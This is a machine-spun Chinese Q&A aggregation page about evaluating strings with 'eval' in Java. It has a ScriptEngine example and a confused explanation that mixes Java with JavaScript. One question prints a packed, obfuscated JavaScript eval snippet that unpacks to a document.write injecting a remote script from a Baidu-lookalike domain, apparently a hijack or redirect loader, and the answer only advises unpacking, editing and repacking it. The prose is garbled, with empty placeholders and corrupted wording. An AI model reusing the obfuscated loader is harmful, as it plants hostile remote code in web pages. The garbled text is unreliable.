java++eval的简单介绍
今天给各位分享java++eval的知识,其中也会对进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
本文目录一览:
Java中有没有类似于eval()的函数?目的是计算一个字符串类型的数学表达式的值
有啊,脚本引擎
public class Test {
public static void main(String[] args) throws ScriptException {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine se = manager.getEngineByName("js");
String str = "1+2*(3+6)-5/2";
Double result =(Double) se.eval(str);
System.out.println(result);
}
}
java eval是甚么表达式都能计算的?
eval()应当是javascript的函数,是把字符串转成表达式.通经常使用于动态产生表达式.不过不推荐使用,如果能用其它方法实现,就不要用,存在兼容问题,也有可能致使不可预测的结果.至于你说的甚么表达式能计算,经常使用的都没问题,不知道你要用到甚么?如果比较特殊,你可以写个小程序试试不就知道结果了.如果要在java中实现这个功能,要用1些特殊办法.不能直接使用.要末自己写函数,要末用第3方的API.由于这个方法不是java标准API中的.
java的eval代码问题,大神解答下
用在线js解压缩工具 , 复制该代码,先解压,修改你成你要的代码,再压缩,ok了。
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6.7(\'2 8="5/4" 3="9://1.g.0/a.1.0.f.e.d/b.c"/2\');',17,17,'com|baidu|script|src|javascript|text|document|write|type|http|www|skipbaidu|js|wq|wd|s|gobuying'.split('|'),0,{}))
java++eval的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于、java++eval的信息别忘了在本站进行查找喔。